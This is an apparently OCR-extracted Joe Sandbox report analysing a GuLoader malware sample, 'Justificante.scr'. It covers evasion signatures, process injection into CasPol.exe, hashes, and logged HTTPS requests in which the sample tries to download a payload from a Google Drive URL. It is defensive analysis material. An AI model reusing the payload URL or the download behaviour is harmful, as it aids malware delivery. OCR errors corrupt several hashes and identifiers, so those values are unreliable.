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Windows Analysis Report Justificante.scr

Overview
General Information Detection Classification
Sample Justificante.scr (renamed 3 3
Name: file extension from scr to MALICIOUS Found malware configuration
exe)

Multi AV Scanner detection for subm...
Analysis ID: 527776

GuLoader behavior detected

MDS: debed198874462..

SHA1: db60e77860099%.. Yara detected Guloader
SHA256: fc2ad0d57328f8b.. Hides threads from debuggers
Infos: Q ;f il Q & L Writes to foreign memoary. regions
Most interesting Screenshot: Tries to detect Any.run

C2 URLs / IPs found'in malware con...

GuLoader Tries to detect sandboxes and other...
Score: 92 Uses 32bit: PE files:
Range: 0-100 Sample'filelis different thanioriginall...
Whitelisted: false
X BE file/contains/strange resources
Confidence: 100%

%)
«Q
=3
4
c
=
(1
7]

Process Tree

= System is wl0x64native

. W Justificante.exe (PID: 4288 cmdline: "C:\Users\user\Desktop\Justificante.exe" MD5: DEBED1988744625A65D94BDBE9525B94)
e (B CasPol.exe (PID: 1640 cmdline: "C:\Users\user\Desktop\Justificante.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)
e [m] CasPol.exe (PID: 3536 cmdline: "C:\Users\user\Desktop\Justificante.exe” MD5: 914F728C04D3EDDDSFBA59420E74E56B)

o conhost.exe (PID: 7192 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFAGS)
= cleanup

Malware Configuration

Threatname: GuLoader

{
“Payload URL": "https://drive.google.com/uc?export=download&id=1S6M0jmIQ"
}

Yara Overview

Memory Dumps

Source Rule Description Author Strings
0000000A.00000000.278095159445.000000000 JoeSecurity_GulLoader_2 Yara detected Joe Security
0FC0000.00000040.00000001.sdmp GulLoader

Sigma Overview

No Sigma rule has matched
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Jbx Signhature Overview

g

Click to jump to signature section

AV Detection:

=

Found malware configuration

Multi AV Scanner detection for submitted file

K

Networking:

Data Obfuscation:

=

Yara detected GuLoader

]‘

Malware Analysis System Evasion:

Anti Debugging:

]‘]

HIPS | PFW | Operating System Protection Evasion:

]‘

Stealing of Sensitive Information:

GuLoader behavior detected

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command and  Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration Control Effects
Valid Windows DLL Side-  Process Virtualization/Sandbox OS Security Software Remote Data from  Exfiltration Encrypted Eavesdrof
Accounts Management  Loading Injection Evasion Credential Discovery Services Local Over Other Channel Insecure
Instrumentation Dumping System Network Network
Medium Communic
Default  Scheduled Boot or DLL Side- Process LSASS Virtualization/Sandbox Remote Data from  Exfiltration Non-Application  Exploit SS
Accounts Task/Job Logon Loading Injection Memory  Evasion Desktop Removable Over Layer Protocol ) Redirect F
Initialization Protocol Media Bluetooth Calls/SMS
Scripts
Domain At (Linux) Logon Script Logon Script DLL Side-Loading Security Process Discovery SMB/Windows Data from Automated Application Layer Exploit SS
Accounts (Windows)  (Windows) Account Admin Shares Network  Exfiltration  Protocol Track Dev
Manager Shared Location
Drive
Local At (Windows)  Logon Script Logon Script Obfuscated Files or NTDS System Information Distributed Input Scheduled Ingress Tool SIM Card
Accounts (Mac) (Mac) Information Discovery Component Capture Transfer Transfer Swap
Object Model
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Behavior Graph

Behavior Graph
ID: 527776
Sample: Justificante.scr
Startdate: 24/11/2021
Architecture:  WINDOWS

Score: 92

drive.google.com

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Ell © Type here to search o]

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

No Antivirus matches
Unpacked PE Files
No Antivirus matches

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
http://www.topqualityfreeware.com/ 0% Virustotal Browse
http://www.topqualityfreeware.com/ 0% Avira URL Cloud safe
http://topqualityfreeware.com 0% Virustotal Browse
http://topqualityfreeware.com 0% Avira URL Cloud safe
http://https://csp.withgoogle.com/csp/report-to/gse_l9ocaq 0% Avira URL Cloud safe

Domains and IPs
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https://www.virustotal.com/gui/file/fc2ad0d57328f8bf9b37d037e30891e64a2feead23884bd2e52e07794275e758/detection/f-fc2ad0d57328f8bf9b37d037e30891e64a2feead23884bd2e52e07794275e758-1637749280
https://www.metadefender.com/#!/results/file/bzIxMTEyNGtqb3RNZjk3QUtzenUwaXlOanRR/regular/analysis
https://www.virustotal.com/gui/url/40c630b3d97f2fb534f1c38b1a91148843903b7f4103cb78c4aa854f8e7fe0e0/detection/u-40c630b3d97f2fb534f1c38b1a91148843903b7f4103cb78c4aa854f8e7fe0e0-1446806768
https://www.virustotal.com/gui/url/bb06a50eba0b5282a4aa09119fc359a9eaf4cef51b10455e0246e5552e522411/detection/u-bb06a50eba0b5282a4aa09119fc359a9eaf4cef51b10455e0246e5552e522411-1569457921

Contacted Domains

Name

drive.google.com

URLs from Memory and Binaries

Contacted IPs

Public

P Domain

142.250.181.238

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:
HDC Information:
HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time Type
11:54:38

Copyright Joe Security LLC 2021

drive.google.com

API Interceptor

IP
142.250.181.238

Country
United States

34.0.0 Boulder Opal
527776

24.11.2021
11:51:35
CloudBasic

Oh 5m 52s

false

light

Active Malicious
true false

Flag

5

Justificante.scr (renamed file extension from scr to exe)

default.jbs

Antivirus Detection

ASN
15169

ASN Name
GOOGLEUS

Reputation

high

Malicious

false

Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe

Reader DC 21, Java 8 Update 301
13

o o o o

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

L]
L]
L]
L]

default

Timeout

MAL

mal92.troj.evad. WinEXE@6/1@1/1
e Successful, ratio: 50%

Failed

Failed

e Adjust boot time
e Enable AMSI

Show All

Description

133x Sleep call for process: CasPol.exe modified
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Joe Sandbox View | Context

IPs

No context
Domains

No context

ASN

No context

JA3 Fingerprints

Match
37f463bf4616ecd445d4a1937da06e19

Dropped Files

No context

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Created |/ dropped Files

C:\Users\luser\AppData\Local\Temp\~DF27D39ECE608940C1.TMP

Process: C:\Users\user\Desktop\Justificante.exe

Copyright Joe Security LLC 2021

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238

142.250.18
1.238
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https://view.joesandbox.com/analysis/415530/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415530/html/none?idtype=webid
https://view.joesandbox.com/analysis/415425/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415425/html/none?idtype=webid
https://view.joesandbox.com/analysis/415410/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415410/html/none?idtype=webid
https://view.joesandbox.com/analysis/415398/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415398/html/none?idtype=webid
https://view.joesandbox.com/analysis/415369/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415369/html/none?idtype=webid
https://view.joesandbox.com/analysis/415340/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415340/html/none?idtype=webid
https://view.joesandbox.com/analysis/415339/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415339/html/none?idtype=webid
https://view.joesandbox.com/analysis/415335/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415335/html/none?idtype=webid
https://view.joesandbox.com/analysis/415333/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415333/html/none?idtype=webid
https://view.joesandbox.com/analysis/415330/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415330/html/none?idtype=webid
https://view.joesandbox.com/analysis/415329/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415329/html/none?idtype=webid
https://view.joesandbox.com/analysis/415328/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415328/html/none?idtype=webid
https://view.joesandbox.com/analysis/415325/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415325/html/none?idtype=webid
https://view.joesandbox.com/analysis/415296/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415296/html/none?idtype=webid
https://view.joesandbox.com/analysis/415290/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415290/html/none?idtype=webid
https://view.joesandbox.com/analysis/415268/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415268/html/none?idtype=webid
https://view.joesandbox.com/analysis/415243/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415243/html/none?idtype=webid
https://view.joesandbox.com/analysis/415220/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415220/html/none?idtype=webid
https://view.joesandbox.com/analysis/415216/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415216/html/none?idtype=webid
https://view.joesandbox.com/analysis/415212/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415212/html/none?idtype=webid

C:\Users\user\AppData\Local\Temp\~DF27D39ECE608940C1.TMP

File Type: Composite Document File V2 Document, Cannot read section info
Category: dropped
Size (bytes): 32768

Entropy (8bit):  4.01191323271951

Encrypted: false

SSDEEP: 384:wcZ0tADSVIX6JQhynrV7VrowrCIM/ZUYVPzBAPN:wcZeADSV/6ghynrV7VxwrrMvgPN

MDS5: 6C4C01A4316CD9338DE5S1EC175EBF11D

SHA1L: 8C5D5B07EOED6AACT72705F516E25BEAEA8B91EFAQ

SHA-256: 95876F7C1242672418DB201C02D70276EE9CC4345394DEAD3500619A39DA28F0

SHA-512: 9F60729E865B0414DB4792F76465EDCE1595D22E884D01C07389A312474D1CE916E4CF73275D5AA0CB411D8EBB0617EF661CD10467AD838FD1B0B388C44823D
Malicious: false

Reputation: low

Preview:

Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit): 4.939745215139579
TriD: e Win32 Executable (generic) a (10002005/4)
99.15%
e Win32 Executable Microsoft Visual Basic 6
(82127/2) 0.81%
e Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%
e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%
File name: Justificante.exe
File size: 192512
MDS5: debed1988744625a65d94bdbe9525b94
SHAL: db60e778e0099e265d1066fc453a698a94581f61
SHA256: fc2ad0d57328f8bf9b37d037e30891e64a2feead23884bd
2e52e07794275e758
SHA512: 25fe36df05e4b8540e008fed9ed53a4a25dfcacf6f7be320
8d2ee9220bb8676dca62db3dac8e9f86823d246489073e
c6edal494c5cabfc3bcalechd6661320b7
SSDEEP: 3072:tAaejCYyLGrRrZW1ALdbcit+djWXMrcOyvhXeJ:tA

File Content Preview:

File Icon

F

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:
Subsystem:

Image File Characteristics:

DLL Characteristics:
Time Stamp:

TLS Callbacks:

Copyright Joe Security LLC 2021

aeiGrRrZF9c4Mrcbhed

Oceefedec6f67cOc

0x40134c
text

false
0x400000
windows gui

LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

0x5105FCE2 [Mon Jan 28 04:21:54 2013 UTC]
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General

CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:
File Version Minor:

Subsystem Version Major:

o » O ~ O b

Subsystem Version Minor:

Import Hash: f27a613fda76c14f4eab7dc0085d799e

Entrypoint Preview

Data Directories

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x1000 0x2271c 0x23000 False 0.357191685268 data 5.11193783062 IMAGE_SCN_MEM_EXECUTE,

IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

data  0x24000 0x13f0 0x1000 False 0.00634765625 data 0.0 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

.rsrc 0x26000 0x90c5 0xa000 False 0.346337890625 data 4.35348695706 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Resources

Imports

Version Infos

Possible Origin

Language of compilation system Country where language is spoken Map

English United States

Turkmen Turkmenistan

Network Behavior

Network Port Distribution

TCP Packets
UDP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Nov 24, 2021 11:54:37.727708101 CET 192.168.11.20 1.1.1.1 Ox6lee Standard query  drive.google.com A (IP address) IN (0x0001)
0

DNS Answers
Copyright Joe Security LLC 2021 Page 11 of 80



Timestamp Source IP Dest IP

Nov 24, 2021 1111 192.168.11.20

11:54:37.737273932
CET

HTTP Request Dependency Graph

e drive.google.com

HTTPS Proxied Packets

Session ID Source IP

0 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:37 UTC 0

2021-11-24 10:54:38 UTC 0

2021-11-24 10:54:38 UTC 1

2021-11-24 10:54:38 UTC 1

Session ID Source IP

1 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:38 UTC 1

Copyright Joe Security LLC 2021

Source Port

49822

Direction

ouT

Source Port
49823

Direction
ouT

Ox6lee

Trans ID Reply Code Name CName Address Type Class

No error (0) drive.google.com 142.250.181.238 A (IP address) IN (0x0001)

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: drive.google.com

Cache-Control: no-cache

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."

Report-To: {"group":"coop_gse_I9ocaq","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_l9ocaq"}J}

Content-Security-Policy: script-src 'nonce-2HVG4NalMJZIcKFtDJAhOQ' 'unsafe-inline' 'strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:54:38 GMT

Expires: Wed, 24 Nov 2021 10:54:38 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Set-Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5s
JVMyWHVZuVREmMbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOCbTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2
VIiFIEAgoLjM; expires=Thu, 26-May-2022 10:54:38 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e Oa 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa Od Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw._gsm-xgozILE8IK-9exs93JVgyXRX73iGE0oQCj9WpVk3WKrj2Pnsg_DpZ5sIvMy
WHvZuVREmMbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtjebKOFauMrpO5MIWmgKXE809m6fb5ZmhplppR2ViFI
EAgoLjM
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kBytes
Timestamp transferred

2021-11-24 10:54:38 UTC 2

2021-11-24 10:54:38 UTC 3

2021-11-24 10:54:38 UTC 3

Session ID Source IP

10 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:42 UTC 15

2021-11-24 10:54:42 UTC 15

2021-11-24 10:54:42 UTC 16

2021-11-24 10:54:42 UTC 16

Session ID Source IP

100 192.168.11.20
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49832

Direction

ouT

Source Port

49924

Direction

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-nocyoMAwksa7+JIApurpZg' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Date: Wed, 24 Nov 2021 10:54:38 GMT

Expires: Wed, 24 Nov 2021 10:54:38 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4Ac 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_qgsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints”:[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Content-Security-Policy: script-src ‘'nonce-xCKqZJAUdX3HPROjdqOFBw' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src ‘none’;base-uri ‘self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:54:42 GMT

Expires: Wed, 24 Nov 2021 10:54:42 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Sve: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data
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kBytes
Timestamp transferred

2021-11-24 10:55:20 UTC 149

2021-11-24 10:55:20 UTC 150

2021-11-24 10:55:20 UTC 151

2021-11-24 10:55:20 UTC 151

Session ID Source IP

101 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:20 UTC 151

2021-11-24 10:55:20 UTC 151

2021-11-24 10:55:20 UTC 152

2021-11-24 10:55:20 UTC 152

Session ID Source IP

102 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49925

Direction

ouT

Source Port

49926

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Content-Security-Policy: script-src 'nonce-HTe3GQdyZ8+xFsWpoSmCGA' 'unsafe-inline' 'strict-dynamic' https: http:
‘unsafe-eval'’;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:20 GMT

Expires: Wed, 24 Nov 2021 10:55:20 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_qgsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-bugTsDUGokBHbDQkugMhTA' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe
-eval';object-src 'none’;base-uri ‘'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:20 GMT

Expires: Wed, 24 Nov 2021 10:55:20 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e Oa 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
